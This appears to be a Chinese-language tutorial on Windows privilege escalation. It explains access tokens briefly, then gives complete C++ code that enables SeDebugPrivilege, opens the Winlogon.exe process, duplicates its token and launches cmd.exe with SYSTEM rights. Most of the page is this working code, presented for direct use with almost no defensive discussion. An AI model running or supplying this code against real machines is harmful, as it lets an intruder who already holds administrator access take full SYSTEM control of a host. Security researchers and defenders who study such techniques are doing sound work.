通过复制Token提权到SYSTEM

在windows系统中使用一个较高细粒度的Token来区分和管理权限,我们通常说的system权限administrator权限本质上是令牌的完整性和特权不同,通过细粒度较高的特权进行区分。

在本文中,不会对令牌机制进行详细的剖析,只需要知道它本质上是一个内核对象即可,详细的内容会在以后的内核操作文章中详细讲解。

  • 下图分别是medium完整性令牌和high完整性令牌。

提权流程

  1. 打开system权限进程

  2. 复制system权限进程Token

  3. 使用复制Token打开新进程

代码实现

默认配置的管理员拥有SeDebugPrivilege,该权限用于调试进程,是否拥有直接决定你是否能打开写入调试注入如winlogon,system等进程。

#include <windows.h>
#include <iostream>
#include <Lmcons.h>
#include <TlHelp32.h>

BOOL SePrivTokenrivilege(
	HANDLE hToken,          
	LPCTSTR lpszPrivilege, 
	BOOL bEnablePrivilege  
)
{
	LUID luid;

	if (!LookupPrivilegeValue(
		NULL,            
		lpszPrivilege,  
		&luid))       
	{
		return FALSE;
	}

	TOKEN_PRIVILEGES PrivToken;
	PrivToken.PrivilegeCount = 1;
	PrivToken.Privileges[0].Luid = luid;
	if (bEnablePrivilege)
		PrivToken.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	else
		PrivToken.Privileges[0].Attributes = 0;


	if (!AdjustTokenPrivileges(
		hToken,
		FALSE,
		&PrivToken,
		sizeof(TOKEN_PRIVILEGES),
		(PTOKEN_PRIVILEGES)NULL,
		(PDWORD)NULL))
	{
		return FALSE;
	}

	return TRUE;
}


DWORD FindProcessPID(const wchar_t* ProcessName) {
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 process = { 0 };
	process.dwSize = sizeof(process);

	if (Process32First(snapshot, &process)) {
		do {
			if (!wcscmp((const wchar_t*)process.szExeFile,(const wchar_t*)ProcessName))
				break;
		} while (Process32Next(snapshot, &process));
	}

	CloseHandle(snapshot);
	return process.th32ProcessID;
}

int main(int argc, char** argv) {
	HANDLE hDpToken = NULL;
	
	

	HANDLE hCurrentToken = NULL;
	BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hCurrentToken);
	SePrivTokenrivilege(hCurrentToken, L"SeDebugPrivilege", TRUE);

	DWORD PID_TO_IMPERSONATE = FindProcessPID(L"Winlogon.exe");
	HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE);


	HANDLE hToken = NULL;
	BOOL TokenRet = OpenProcessToken(hProcess,
		TOKEN_DUPLICATE |
		TOKEN_ASSIGN_PRIMARY |
		TOKEN_QUERY, &hToken);

	BOOL impersonateUser = ImpersonateLoggedOnUser(hToken);
	if (GetLastError() == NULL)
	{
		RevertToSelf();
	}

	
	BOOL dpToken = DuplicateTokenEx(hToken, 
		TOKEN_ADJUST_DEFAULT |
		TOKEN_ADJUST_SESSIONID |
		TOKEN_QUERY |
		TOKEN_DUPLICATE |
		TOKEN_ASSIGN_PRIMARY,
		NULL,
		SecurityImpersonation,
		TokenPrimary,
		&hDpToken
	);


	STARTUPINFO startupInfo = {0};
	startupInfo.cb = sizeof(STARTUPINFO);
	PROCESS_INFORMATION ProcessInfo = {0};

	BOOL Ret = CreateProcessWithTokenW(hDpToken,
		LOGON_WITH_PROFILE,
		L"C:\\Windows\\System32\\cmd.exe",
		NULL, 0, NULL, NULL,
		&startupInfo,
		&ProcessInfo);


	return TRUE;
}

最后更新于